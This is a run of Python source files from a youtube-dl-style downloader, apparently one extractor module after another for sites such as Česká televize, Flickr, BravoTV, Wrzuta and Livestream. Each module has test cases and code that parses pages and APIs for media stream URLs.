    _VALID_URL = r'https?://www\.ceskatelevize\.cz/(porady|ivysilani)/(?:[^/]+/)*(?P<id>[^/#?]+)/*(?:[#?].*)?$'
    _TESTS = [{
        'url': 'http://www.ceskatelevize.cz/ivysilani/ivysilani/10441294653-hyde-park-civilizace/214411058091220',
        'info_dict': {
            'id': '61924494876951776',
            'ext': 'mp4',
            'title': 'Hyde Park Civilizace',
            'description': 'md5:fe93f6eda372d150759d11644ebbfb4a',
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 3350,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        'url': 'http://www.ceskatelevize.cz/ivysilani/10441294653-hyde-park-civilizace/215411058090502/bonus/20641-bonus-01-en',
        'info_dict': {
            'id': '61924494877028507',
            'ext': 'mp4',
            'title': 'Hyde Park Civilizace: Bonus 01 - En',
            'description': 'English Subtittles',
            'thumbnail': 're:^https?://.*\.jpg',
            'duration': 81.3,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }, {
        # live stream
        'url': 'http://www.ceskatelevize.cz/ivysilani/zive/ct4/',
        'info_dict': {
            'id': 402,
            'ext': 'mp4',
            'title': 're:^ČT Sport \d{4}-\d{2}-\d{2} \d{2}:\d{2}$',
            'is_live': True,
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
        'skip': 'Georestricted to Czech Republic',
    }, {
        # video with 18+ caution trailer
        'url': 'http://www.ceskatelevize.cz/porady/10520528904-queer/215562210900007-bogotart/',
        'info_dict': {
            'id': '215562210900007-bogotart',
            'title': 'Queer: Bogotart',
            'description': 'Alternativní průvodce současným queer světem',
        },
        'playlist': [{
            'info_dict': {
                'id': '61924494876844842',
                'ext': 'mp4',
                'title': 'Queer: Bogotart (Varování 18+)',
                'duration': 10.2,
            },
        }, {
            'info_dict': {
                'id': '61924494877068022',
                'ext': 'mp4',
                'title': 'Queer: Bogotart (Queer)',
                'thumbnail': 're:^https?://.*\.jpg',
                'duration': 1558.3,
            },
        }],
        'params': {
            # m3u8 download
            'skip_download': True,
        },
    }]

    def _real_extract(self, url):
        url = url.replace('/porady/', '/ivysilani/').replace('/video/', '')

        mobj = re.match(self._VALID_URL, url)
        playlist_id = mobj.group('id')

        webpage = self._download_webpage(url, playlist_id)

        NOT_AVAILABLE_STRING = 'This content is not available at your territory due to limited copyright.'
        if '%s</p>' % NOT_AVAILABLE_STRING in webpage:
            raise ExtractorError(NOT_AVAILABLE_STRING, expected=True)

        typ = self._html_search_regex(
            r'getPlaylistUrl\(\[\{"type":"(.+?)","id":".+?"\}\],', webpage, 'type')
        episode_id = self._html_search_regex(
            r'getPlaylistUrl\(\[\{"type":".+?","id":"(.+?)"\}\],', webpage, 'episode_id')

        data = {
            'playlist[0][type]': typ,
            'playlist[0][id]': episode_id,
            'requestUrl': compat_urllib_parse_urlparse(url).path,
            'requestSource': 'iVysilani',
        }

        req = sanitized_Request(
            'http://www.ceskatelevize.cz/ivysilani/ajax/get-client-playlist',
            data=urlencode_postdata(data))

        req.add_header('Content-type', 'application/x-www-form-urlencoded')
        req.add_header('x-addr', '127.0.0.1')
        req.add_header('X-Requested-With', 'XMLHttpRequest')
        req.add_header('Referer', url)

        playlistpage = self._download_json(req, playlist_id)

        playlist_url = playlistpage['url']
        if playlist_url == 'error_region':
            raise ExtractorError(NOT_AVAILABLE_STRING, expected=True)

        req = sanitized_Request(compat_urllib_parse_unquote(playlist_url))
        req.add_header('Referer', url)

        playlist_title = self._og_search_title(webpage, default=None)
        playlist_description = self._og_search_description(webpage, default=None)

        playlist = self._download_json(req, playlist_id)['playlist']
        playlist_len = len(playlist)

        entries = []
        for item in playlist:
            is_live = item.get('type') == 'LIVE'
            formats = []
            for format_id, stream_url in item['streamUrls'].items():
                formats.extend(self._extract_m3u8_formats(
                    stream_url, playlist_id, 'mp4',
                    entry_protocol='m3u8' if is_live else 'm3u8_native',
                    fatal=False))
            self._sort_formats(formats)

            item_id = item.get('id') or item['assetId']
            title = item['title']

            duration = float_or_none(item.get('duration'))
            thumbnail = item.get('previewImageUrl')

            subtitles = {}
            if item.get('type') == 'VOD':
                subs = item.get('subtitles')
                if subs:
                    subtitles = self.extract_subtitles(episode_id, subs)

            if playlist_len == 1:
                final_title = playlist_title or title
                if is_live:
                    final_title = self._live_title(final_title)
            else:
                final_title = '%s (%s)' % (playlist_title, title)

            entries.append({
                'id': item_id,
                'title': final_title,
                'description': playlist_description if playlist_len == 1 else None,
                'thumbnail': thumbnail,
                'duration': duration,
                'formats': formats,
                'subtitles': subtitles,
                'is_live': is_live,
            })

        return self.playlist_result(entries, playlist_id, playlist_title, playlist_description)

    def _get_subtitles(self, episode_id, subs):
        original_subtitles = self._download_webpage(
            subs[0]['url'], episode_id, 'Downloading subtitles')
        srt_subs = self._fix_subtitles(original_subtitles)
        return {
            'cs': [{
                'ext': 'srt',
                'data': srt_subs,
            }]
        }

    @staticmethod
    def _fix_subtitles(subtitles):
        """ Convert millisecond-based subtitles to SRT """

        def _msectotimecode(msec):
            """ Helper utility to convert milliseconds to timecode """
            components = []
            for divider in [1000, 60, 60, 100]:
                components.append(msec % divider)
                msec //= divider
            return '{3:02}:{2:02}:{1:02},{0:03}'.format(*components)

        def _fix_subtitle(subtitle):
            for line in subtitle.splitlines():
                m = re.match(r'^\s*([0-9]+);\s*([0-9]+)\s+([0-9]+)\s*$', line)
                if m:
                    yield m.group(1)
                    start, stop = (_msectotimecode(int(t)) for t in m.groups()[1:])
                    yield '{0} --> {1}'.format(start, stop)
                else:
                    yield line

        return '\r\n'.join(_fix_subtitle(subtitles))






# encoding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor


class M6IE(InfoExtractor):
    IE_NAME = 'm6'
    _VALID_URL = r'https?://(?:www\.)?m6\.fr/[^/]+/videos/(?P<id>\d+)-[^\.]+\.html'

    _TEST = {
        'url': 'http://www.m6.fr/emission-les_reines_du_shopping/videos/11323908-emeline_est_la_reine_du_shopping_sur_le_theme_ma_fete_d_8217_anniversaire.html',
        'md5': '242994a87de2c316891428e0176bcb77',
        'info_dict': {
            'id': '11323908',
            'ext': 'mp4',
            'title': 'Emeline est la Reine du Shopping sur le thème « Ma fête d’anniversaire ! »',
            'description': 'md5:1212ae8fb4b7baa4dc3886c5676007c2',
            'duration': 100,
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        return self.url_result('6play:%s' % video_id, 'SixPlay', video_id)






from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urllib_parse_urlencode
from ..utils import (
    ExtractorError,
    int_or_none,
    qualities,
)


class FlickrIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.|secure\.)?flickr\.com/photos/[\w\-_@]+/(?P<id>\d+)'
    _TEST = {
        'url': 'http://www.flickr.com/photos/forestwander-nature-pictures/5645318632/in/photostream/',
        'md5': '164fe3fa6c22e18d448d4d5af2330f31',
        'info_dict': {
            'id': '5645318632',
            'ext': 'mpg',
            'description': 'Waterfalls in the Springtime at Dark Hollow Waterfalls. These are located just off of Skyline Drive in Virginia. They are only about 6/10 of a mile hike but it is a pretty steep hill and a good climb back up.',
            'title': 'Dark Hollow Waterfalls',
            'duration': 19,
            'timestamp': 1303528740,
            'upload_date': '20110423',
            'uploader_id': '10922353@N03',
            'uploader': 'Forest Wander',
            'uploader_url': 'https://www.flickr.com/photos/forestwander-nature-pictures/',
            'comment_count': int,
            'view_count': int,
            'tags': list,
            'license': 'Attribution-ShareAlike',
        }
    }
    _API_BASE_URL = 'https://api.flickr.com/services/rest?'
    # https://help.yahoo.com/kb/flickr/SLN25525.html
    _LICENSES = {
        '0': 'All Rights Reserved',
        '1': 'Attribution-NonCommercial-ShareAlike',
        '2': 'Attribution-NonCommercial',
        '3': 'Attribution-NonCommercial-NoDerivs',
        '4': 'Attribution',
        '5': 'Attribution-ShareAlike',
        '6': 'Attribution-NoDerivs',
        '7': 'No known copyright restrictions',
        '8': 'United States government work',
        '9': 'Public Domain Dedication (CC0)',
        '10': 'Public Domain Work',
    }

    def _call_api(self, method, video_id, api_key, note, secret=None):
        query = {
            'photo_id': video_id,
            'method': 'flickr.%s' % method,
            'api_key': api_key,
            'format': 'json',
            'nojsoncallback': 1,
        }
        if secret:
            query['secret'] = secret
        data = self._download_json(self._API_BASE_URL + compat_urllib_parse_urlencode(query), video_id, note)
        if data['stat'] != 'ok':
            raise ExtractorError(data['message'])
        return data

    def _real_extract(self, url):
        video_id = self._match_id(url)

        api_key = self._download_json(
            'https://www.flickr.com/hermes_error_beacon.gne', video_id,
            'Downloading api key')['site_key']

        video_info = self._call_api(
            'photos.getInfo', video_id, api_key, 'Downloading video info')['photo']
        if video_info['media'] == 'video':
            streams = self._call_api(
                'video.getStreamInfo', video_id, api_key,
                'Downloading streams info', video_info['secret'])['streams']

            preference = qualities(
                ['288p', 'iphone_wifi', '100', '300', '700', '360p', 'appletv', '720p', '1080p', 'orig'])

            formats = []
            for stream in streams['stream']:
                stream_type = str(stream.get('type'))
                formats.append({
                    'format_id': stream_type,
                    'url': stream['_content'],
                    'preference': preference(stream_type),
                })
            self._sort_formats(formats)

            owner = video_info.get('owner', {})
            uploader_id = owner.get('nsid')
            uploader_path = owner.get('path_alias') or uploader_id
            uploader_url = 'https://www.flickr.com/photos/%s/' % uploader_path if uploader_path else None

            return {
                'id': video_id,
                'title': video_info['title']['_content'],
                'description': video_info.get('description', {}).get('_content'),
                'formats': formats,
                'timestamp': int_or_none(video_info.get('dateuploaded')),
                'duration': int_or_none(video_info.get('video', {}).get('duration')),
                'uploader_id': uploader_id,
                'uploader': owner.get('realname'),
                'uploader_url': uploader_url,
                'comment_count': int_or_none(video_info.get('comments', {}).get('_content')),
                'view_count': int_or_none(video_info.get('views')),
                'tags': [tag.get('_content') for tag in video_info.get('tags', {}).get('tag', [])],
                'license': self._LICENSES.get(video_info.get('license')),
            }
        else:
            raise ExtractorError('not a video', expected=True)






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse,
)
from ..utils import (
    unified_strdate,
)


class UrortIE(InfoExtractor):
    IE_DESC = 'NRK P3 Urørt'
    _VALID_URL = r'https?://(?:www\.)?urort\.p3\.no/#!/Band/(?P<id>[^/]+)$'

    _TEST = {
        'url': 'https://urort.p3.no/#!/Band/Gerilja',
        'md5': '5ed31a924be8a05e47812678a86e127b',
        'info_dict': {
            'id': '33124-24',
            'ext': 'mp3',
            'title': 'The Bomb',
            'thumbnail': 're:^https?://.+\.jpg',
            'uploader': 'Gerilja',
            'uploader_id': 'Gerilja',
            'upload_date': '20100323',
        },
        'params': {
            'matchtitle': '^The Bomb$',  # To test, we want just one video
        }
    }

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        fstr = compat_urllib_parse.quote("InternalBandUrl eq '%s'" % playlist_id)
        json_url = 'http://urort.p3.no/breeze/urort/TrackDTOViews?$filter=%s&$orderby=Released%%20desc&$expand=Tags%%2CFiles' % fstr
        songs = self._download_json(json_url, playlist_id)
        entries = []
        for s in songs:
            formats = [{
                'tbr': f.get('Quality'),
                'ext': f['FileType'],
                'format_id': '%s-%s' % (f['FileType'], f.get('Quality', '')),
                'url': 'http://p3urort.blob.core.windows.net/tracks/%s' % f['FileRef'],
                'preference': 3 if f['FileType'] == 'mp3' else 2,
            } for f in s['Files']]
            self._sort_formats(formats)
            e = {
                'id': '%d-%s' % (s['BandId'], s['$id']),
                'title': s['Title'],
                'uploader_id': playlist_id,
                'uploader': s.get('BandName', playlist_id),
                'thumbnail': 'http://urort.p3.no/cloud/images/%s' % s['Image'],
                'upload_date': unified_strdate(s.get('Released')),
                'formats': formats,
            }
            entries.append(e)

        return {
            '_type': 'playlist',
            'id': playlist_id,
            'title': playlist_id,
            'entries': entries,
        }






# coding: utf-8
from __future__ import unicode_literals

from .adobepass import AdobePassIE
from ..utils import (
    smuggle_url,
    update_url_query,
    int_or_none,
)


class BravoTVIE(AdobePassIE):
    _VALID_URL = r'https?://(?:www\.)?bravotv\.com/(?:[^/]+/)+(?P<id>[^/?#]+)'
    _TESTS = [{
        'url': 'http://www.bravotv.com/last-chance-kitchen/season-5/videos/lck-ep-12-fishy-finale',
        'md5': '9086d0b7ef0ea2aabc4781d75f4e5863',
        'info_dict': {
            'id': 'zHyk1_HU_mPy',
            'ext': 'mp4',
            'title': 'LCK Ep 12: Fishy Finale',
            'description': 'S13/E12: Two eliminated chefs have just 12 minutes to cook up a delicious fish dish.',
            'uploader': 'NBCU-BRAV',
            'upload_date': '20160302',
            'timestamp': 1456945320,
        }
    }, {
        'url': 'http://www.bravotv.com/below-deck/season-3/ep-14-reunion-part-1',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        display_id = self._match_id(url)
        webpage = self._download_webpage(url, display_id)
        settings = self._parse_json(self._search_regex(
            r'jQuery\.extend\(Drupal\.settings\s*,\s*({.+?})\);', webpage, 'drupal settings'),
            display_id)
        info = {}
        query = {
            'mbr': 'true',
        }
        account_pid, release_pid = [None] * 2
        tve = settings.get('sharedTVE')
        if tve:
            query['manifest'] = 'm3u'
            account_pid = 'HNK2IC'
            release_pid = tve['release_pid']
            if tve.get('entitlement') == 'auth':
                adobe_pass = settings.get('adobePass', {})
                resource = self._get_mvpd_resource(
                    adobe_pass.get('adobePassResourceId', 'bravo'),
                    tve['title'], release_pid, tve.get('rating'))
                query['auth'] = self._extract_mvpd_auth(
                    url, release_pid, adobe_pass.get('adobePassRequestorId', 'bravo'), resource)
        else:
            shared_playlist = settings['shared_playlist']
            account_pid = shared_playlist['account_pid']
            metadata = shared_playlist['video_metadata'][shared_playlist['default_clip']]
            release_pid = metadata['release_pid']
            info.update({
                'title': metadata['title'],
                'description': metadata.get('description'),
                'season_number': int_or_none(metadata.get('season_num')),
                'episode_number': int_or_none(metadata.get('episode_num')),
            })
            query['switch'] = 'progressive'
        info.update({
            '_type': 'url_transparent',
            'id': release_pid,
            'url': smuggle_url(update_url_query(
                'http://link.theplatform.com/s/%s/%s' % (account_pid, release_pid),
                query), {'force_smil_url': True}),
            'ie_key': 'ThePlatform',
        })
        return info






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    parse_duration,
    parse_iso8601,
    xpath_with_ns,
    xpath_text,
    int_or_none,
)


class ZapiksIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?zapiks\.(?:fr|com)/(?:(?:[a-z]{2}/)?(?P<display_id>.+?)\.html|index\.php\?.*\bmedia_id=(?P<id>\d+))'
    _TESTS = [
        {
            'url': 'http://www.zapiks.fr/ep2s3-bon-appetit-eh-be-viva.html',
            'md5': 'aeb3c473b2d564b2d46d664d28d5f050',
            'info_dict': {
                'id': '80798',
                'ext': 'mp4',
                'title': 'EP2S3 - Bon Appétit - Eh bé viva les pyrénées con!',
                'description': 'md5:7054d6f6f620c6519be1fe710d4da847',
                'thumbnail': 're:^https?://.*\.jpg$',
                'duration': 528,
                'timestamp': 1359044972,
                'upload_date': '20130124',
                'view_count': int,
                'comment_count': int,
            },
        },
        {
            'url': 'http://www.zapiks.com/ep3s5-bon-appetit-baqueira-m-1.html',
            'only_matching': True,
        },
        {
            'url': 'http://www.zapiks.com/nl/ep3s5-bon-appetit-baqueira-m-1.html',
            'only_matching': True,
        },
        {
            'url': 'http://www.zapiks.fr/index.php?action=playerIframe&amp;media_id=118046&amp;width=640&amp;height=360&amp;autoStart=false&amp;language=fr',
            'only_matching': True,
        },
    ]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id') or video_id

        webpage = self._download_webpage(url, display_id)

        if not video_id:
            video_id = self._search_regex(
                r'data-media-id="(\d+)"', webpage, 'video id')

        playlist = self._download_xml(
            'http://www.zapiks.fr/view/index.php?action=playlist&media_id=%s&lang=en' % video_id,
            display_id)

        NS_MAP = {
            'jwplayer': 'http://rss.jwpcdn.com/'
        }

        def ns(path):
            return xpath_with_ns(path, NS_MAP)

        item = playlist.find('./channel/item')

        title = xpath_text(item, 'title', 'title') or self._og_search_title(webpage)
        description = self._og_search_description(webpage, default=None)
        thumbnail = xpath_text(
            item, ns('./jwplayer:image'), 'thumbnail') or self._og_search_thumbnail(webpage, default=None)
        duration = parse_duration(self._html_search_meta(
            'duration', webpage, 'duration', default=None))
        timestamp = parse_iso8601(self._html_search_meta(
            'uploadDate', webpage, 'upload date', default=None), ' ')

        view_count = int_or_none(self._search_regex(
            r'UserPlays:(\d+)', webpage, 'view count', default=None))
        comment_count = int_or_none(self._search_regex(
            r'UserComments:(\d+)', webpage, 'comment count', default=None))

        formats = []
        for source in item.findall(ns('./jwplayer:source')):
            format_id = source.attrib['label']
            f = {
                'url': source.attrib['file'],
                'format_id': format_id,
            }
            m = re.search(r'^(?P<height>\d+)[pP]', format_id)
            if m:
                f['height'] = int(m.group('height'))
            formats.append(f)
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'timestamp': timestamp,
            'view_count': view_count,
            'comment_count': comment_count,
            'formats': formats,
        }






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    qualities,
    remove_start,
)


class WrzutaIE(InfoExtractor):
    IE_NAME = 'wrzuta.pl'

    _VALID_URL = r'https?://(?P<uploader>[0-9a-zA-Z]+)\.wrzuta\.pl/(?P<typ>film|audio)/(?P<id>[0-9a-zA-Z]+)'

    _TESTS = [{
        'url': 'http://laboratoriumdextera.wrzuta.pl/film/aq4hIZWrkBu/nike_football_the_last_game',
        'md5': '9e67e05bed7c03b82488d87233a9efe7',
        'info_dict': {
            'id': 'aq4hIZWrkBu',
            'ext': 'mp4',
            'title': 'Nike Football: The Last Game',
            'duration': 307,
            'uploader_id': 'laboratoriumdextera',
            'description': 'md5:7fb5ef3c21c5893375fda51d9b15d9cd',
        },
        'skip': 'Redirected to wrzuta.pl',
    }, {
        'url': 'http://vexling.wrzuta.pl/audio/01xBFabGXu6/james_horner_-_into_the_na_39_vi_world_bonus',
        'md5': 'f80564fb5a2ec6ec59705ae2bf2ba56d',
        'info_dict': {
            'id': '01xBFabGXu6',
            'ext': 'mp3',
            'title': 'James Horner - Into The Na\'vi World [Bonus]',
            'description': 'md5:30a70718b2cd9df3120fce4445b0263b',
            'duration': 95,
            'uploader_id': 'vexling',
        },
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        typ = mobj.group('typ')
        uploader = mobj.group('uploader')

        webpage, urlh = self._download_webpage_handle(url, video_id)

        if urlh.geturl() == 'http://www.wrzuta.pl/':
            raise ExtractorError('Video removed', expected=True)

        quality = qualities(['SD', 'MQ', 'HQ', 'HD'])

        audio_table = {'flv': 'mp3', 'webm': 'ogg', '???': 'mp3'}

        embedpage = self._download_json('http://www.wrzuta.pl/npp/embed/%s/%s' % (uploader, video_id), video_id)

        formats = []
        for media in embedpage['url']:
            fmt = media['type'].split('@')[0]
            if typ == 'audio':
                ext = audio_table.get(fmt, fmt)
            else:
                ext = fmt

            formats.append({
                'format_id': '%s_%s' % (ext, media['quality'].lower()),
                'url': media['url'],
                'ext': ext,
                'quality': quality(media['quality']),
            })

        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': self._og_search_title(webpage),
            'thumbnail': self._og_search_thumbnail(webpage),
            'formats': formats,
            'duration': int_or_none(embedpage['duration']),
            'uploader_id': uploader,
            'description': self._og_search_description(webpage),
            'age_limit': embedpage.get('minimalAge', 0),
        }


class WrzutaPlaylistIE(InfoExtractor):
    """
        this class covers extraction of wrzuta playlist entries
        the extraction process bases on following steps:
        * collect information of playlist size
        * download all entries provided on
          the playlist webpage (the playlist is split
          on two pages: first directly reached from webpage
          second: downloaded on demand by ajax call and rendered
          using the ajax call response)
        * in case size of extracted entries not reached total number of entries
          use the ajax call to collect the remaining entries
    """

    IE_NAME = 'wrzuta.pl:playlist'
    _VALID_URL = r'https?://(?P<uploader>[0-9a-zA-Z]+)\.wrzuta\.pl/playlista/(?P<id>[0-9a-zA-Z]+)'
    _TESTS = [{
        'url': 'http://miromak71.wrzuta.pl/playlista/7XfO4vE84iR/moja_muza',
        'playlist_mincount': 14,
        'info_dict': {
            'id': '7XfO4vE84iR',
            'title': 'Moja muza',
        },
    }, {
        'url': 'http://heroesf70.wrzuta.pl/playlista/6Nj3wQHx756/lipiec_-_lato_2015_muzyka_swiata',
        'playlist_mincount': 144,
        'info_dict': {
            'id': '6Nj3wQHx756',
            'title': 'Lipiec - Lato 2015 Muzyka Świata',
        },
    }, {
        'url': 'http://miromak71.wrzuta.pl/playlista/7XfO4vE84iR',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        playlist_id = mobj.group('id')
        uploader = mobj.group('uploader')

        webpage = self._download_webpage(url, playlist_id)

        playlist_size = int_or_none(self._html_search_regex(
            (r'<div[^>]+class=["\']playlist-counter["\'][^>]*>\d+/(\d+)',
             r'<div[^>]+class=["\']all-counter["\'][^>]*>(.+?)</div>'),
            webpage, 'playlist size', default=None))

        playlist_title = remove_start(
            self._og_search_title(webpage), 'Playlista: ')

        entries = []
        if playlist_size:
            entries = [
                self.url_result(entry_url)
                for _, entry_url in re.findall(
                    r'<a[^>]+href=(["\'])(http.+?)\1[^>]+class=["\']playlist-file-page',
                    webpage)]
            if playlist_size > len(entries):
                playlist_content = self._download_json(
                    'http://%s.wrzuta.pl/xhr/get_playlist_offset/%s' % (uploader, playlist_id),
                    playlist_id,
                    'Downloading playlist JSON',
                    'Unable to download playlist JSON')
                entries.extend([
                    self.url_result(entry['filelink'])
                    for entry in playlist_content.get('files', []) if entry.get('filelink')])

        return self.playlist_result(entries, playlist_id, playlist_title)






from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urlparse
from .internetvideoarchive import InternetVideoArchiveIE


class RottenTomatoesIE(InfoExtractor):
    _VALID_URL = r'https?://www\.rottentomatoes\.com/m/[^/]+/trailers/(?P<id>\d+)'

    _TEST = {
        'url': 'http://www.rottentomatoes.com/m/toy_story_3/trailers/11028566/',
        'info_dict': {
            'id': '613340',
            'ext': 'mp4',
            'title': 'Toy Story 3',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)
        og_video = self._og_search_video_url(webpage)
        query = compat_urlparse.urlparse(og_video).query

        return {
            '_type': 'url_transparent',
            'url': InternetVideoArchiveIE._build_xml_url(query),
            'ie_key': InternetVideoArchiveIE.ie_key(),
            'title': self._og_search_title(webpage),
        }






from __future__ import unicode_literals

import re
import itertools

from .common import InfoExtractor
from ..compat import (
    compat_str,
    compat_urlparse,
)
from ..utils import (
    find_xpath_attr,
    xpath_attr,
    xpath_with_ns,
    xpath_text,
    orderedSet,
    update_url_query,
    int_or_none,
    float_or_none,
    parse_iso8601,
    determine_ext,
)


class LivestreamIE(InfoExtractor):
    IE_NAME = 'livestream'
    _VALID_URL = r'https?://(?:new\.)?livestream\.com/(?:accounts/(?P<account_id>\d+)|(?P<account_name>[^/]+))/(?:events/(?P<event_id>\d+)|(?P<event_name>[^/]+))(?:/videos/(?P<id>\d+))?'
    _TESTS = [{
        'url': 'http://new.livestream.com/CoheedandCambria/WebsterHall/videos/4719370',
        'md5': '53274c76ba7754fb0e8d072716f2292b',
        'info_dict': {
            'id': '4719370',
            'ext': 'mp4',
            'title': 'Live from Webster Hall NYC',
            'timestamp': 1350008072,
            'upload_date': '20121012',
            'duration': 5968.0,
            'like_count': int,
            'view_count': int,
            'thumbnail': 're:^http://.*\.jpg$'
        }
    }, {
        'url': 'http://new.livestream.com/tedx/cityenglish',
        'info_dict': {
            'title': 'TEDCity2.0 (English)',
            'id': '2245590',
        },
        'playlist_mincount': 4,
    }, {
        'url': 'http://new.livestream.com/chess24/tatasteelchess',
        'info_dict': {
            'title': 'Tata Steel Chess',
            'id': '3705884',
        },
        'playlist_mincount': 60,
    }, {
        'url': 'https://new.livestream.com/accounts/362/events/3557232/videos/67864563/player?autoPlay=false&height=360&mute=false&width=640',
        'only_matching': True,
    }, {
        'url': 'http://livestream.com/bsww/concacafbeachsoccercampeonato2015',
        'only_matching': True,
    }]
    _API_URL_TEMPLATE = 'http://livestream.com/api/accounts/%s/events/%s'

    def _parse_smil_formats(self, smil, smil_url, video_id, namespace=None, f4m_params=None, transform_rtmp_url=None):
        base_ele = find_xpath_attr(
            smil, self._xpath_ns('.//meta', namespace), 'name', 'httpBase')
        base = base_ele.get('content') if base_ele is not None else 'http://livestreamvod-f.akamaihd.net/'

        formats = []
        video_nodes = smil.findall(self._xpath_ns('.//video', namespace))

        for vn in video_nodes:
            tbr = int_or_none(vn.attrib.get('system-bitrate'), 1000)
            furl = (
                update_url_query(compat_urlparse.urljoin(base, vn.attrib['src']), {
                    'v': '3.0.3',
                    'fp': 'WIN% 14,0,0,145',
                }))
            if 'clipBegin' in vn.attrib:
                furl += '&ssek=' + vn.attrib['clipBegin']
            formats.append({
                'url': furl,
                'format_id': 'smil_%d' % tbr,
                'ext': 'flv',
                'tbr': tbr,
                'preference': -1000,
            })
        return formats

    def _extract_video_info(self, video_data):
        video_id = compat_str(video_data['id'])

        FORMAT_KEYS = (
            ('sd', 'progressive_url'),
            ('hd', 'progressive_url_hd'),
        )

        formats = []
        for format_id, key in FORMAT_KEYS:
            video_url = video_data.get(key)
            if video_url:
                ext = determine_ext(video_url)
                if ext == 'm3u8':
                    continue
                bitrate = int_or_none(self._search_regex(
                    r'(\d+)\.%s' % ext, video_url, 'bitrate', default=None))
                formats.append({
                    'url': video_url,
                    'format_id': format_id,
                    'tbr': bitrate,
                    'ext': ext,
                })

        smil_url = video_data.get('smil_url')
        if smil_url:
            formats.extend(self._extract_smil_formats(smil_url, video_id))

        m3u8_url = video_data.get('m3u8_url')
        if m3u8_url:
            formats.extend(self._extract_m3u8_formats(
                m3u8_url, video_id, 'mp4', 'm3u8_native', m3u8_id='hls', fatal=False))

        f4m_url = video_data.get('f4m_url')
        if f4m_url:
            formats.extend(self._extract_f4m_formats(
                f4m_url, video_id, f4m_id='hds', fatal=False))
        self._sort_formats(formats)

        comments = [{
            'author_id': comment.get('author_id'),
            'author': comment.get('author', {}).get('full_name'),
            'id': comment.get('id'),
            'text': comment['text'],
            'timestamp': parse_iso8601(comment.get('created_at')),
        } for comment in video_data.get('comments', {}).get('data', [])]

        return {
            'id': video_id,
            'formats': formats,
            'title': video_data['caption'],
            'description': video_data.get('description'),
            'thumbnail': video_data.get('thumbnail_url'),
            'duration': float_or_none(video_data.get('duration'), 1000),
            'timestamp': parse_iso8601(video_data.get('publish_at')),
            'like_count': video_data.get('likes', {}).get('total'),
            'comment_count': video_data.get('comments', {}).get('total'),
            'view_count': video_data.get('views'),
            'comments': comments,
        }

    def _extract_stream_info(self, stream_info):
        broadcast_id = compat_str(stream_info['broadcast_id'])
        is_live = stream_info.get('is_live')

        formats = []
        smil_url = stream_info.get('play_url')
        if smil_url:
            formats.extend(self._extract_smil_formats(smil_url, broadcast_id))

        entry_protocol = 'm3u8' if is_live else 'm3u8_native'
        m3u8_url = stream_info.get('m3u8_url')
        if m3u8_url:
            formats.extend(self._extract_m3u8_formats(
                m3u8_url, broadcast_id, 'mp4', entry_protocol, m3u8_id='hls', fatal=False))

        rtsp_url = stream_info.get('rtsp_url')
        if rtsp_url:
            formats.append({
                'url': rtsp_url,
                'format_id': 'rtsp',
            })
        self._sort_formats(formats)

        return {
            'id': broadcast_id,
            'formats': formats,
            'title': self._live_title(stream_info['stream_title']) if is_live else stream_info['stream_title'],
            'thumbnail': stream_info.get('thumbnail_url'),
            'is_live': is_live,
        }

    def _extract_event(self, event_data):
        event_id = compat_str(event_data['id'])
        account_id = compat_str(event_data['owner_account_id'])
        feed_root_url = self._API_URL_TEMPLATE % (account_id, event_id) + '/feed.json'

        stream_info = event_data.get('stream_info')
        if stream_info:
            return self._extract_stream_info(stream_info)

        last_video = None
        entries = []
        for i in itertools.count(1):
            if last_video is None:
                info_url = feed_root_url
            else:
                info_url = '{root}?&id={id}&newer=-1&type=video'.format(
                    root=feed_root_url, id=last_video)
            videos_info = self._download_json(
                info_url, event_id, 'Downloading page {0}'.format(i))['data']
            videos_info = [v['data'] for v in videos_info if v['type'] == 'video']
            if not videos_info:
                break
            for v in videos_info:
                v_id = compat_str(v['id'])
                entries.append(self.url_result(
                    'http://livestream.com/accounts/%s/events/%s/videos/%s' % (account_id, event_id, v_id),
                    'Livestream', v_id, v.get('caption')))
            last_video = videos_info[-1]['id']
        return self.playlist_result(entries, event_id, event_data['full_name'])

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        event = mobj.group('event_id') or mobj.group('event_name')
        account = mobj.group('account_id') or mobj.group('account_name')
        api_url = self._API_URL_TEMPLATE % (account, event)
        if video_id:
            video_data = self._download_json(
                api_url + '/videos/%s' % video_id, video_id)
            return self._extract_video_info(video_data)
        else:
            event_data = self._download_json(api_url, video_id)
            return self._extract_event(event_data)


# The original version of Livestream uses a different system
class LivestreamOriginalIE(InfoExtractor):
    IE_NAME = 'livestream:original'
    _VALID_URL = r'''(?x)https?://original\.livestream\.com/
        (?P<user>[^/\?#]+)(?:/(?P<type>video|folder)
        (?:(?:\?.*?Id=|/)(?P<id>.*?)(&|$))?)?
        '''
    _TESTS = [{
        'url': 'http://original.livestream.com/dealbook/video?clipId=pla_8aa4a3f1-ba15-46a4-893b-902210e138fb',
        'info_dict': {
            'id': 'pla_8aa4a3f1-ba15-46a4-893b-902210e138fb',
            'ext': 'mp4',
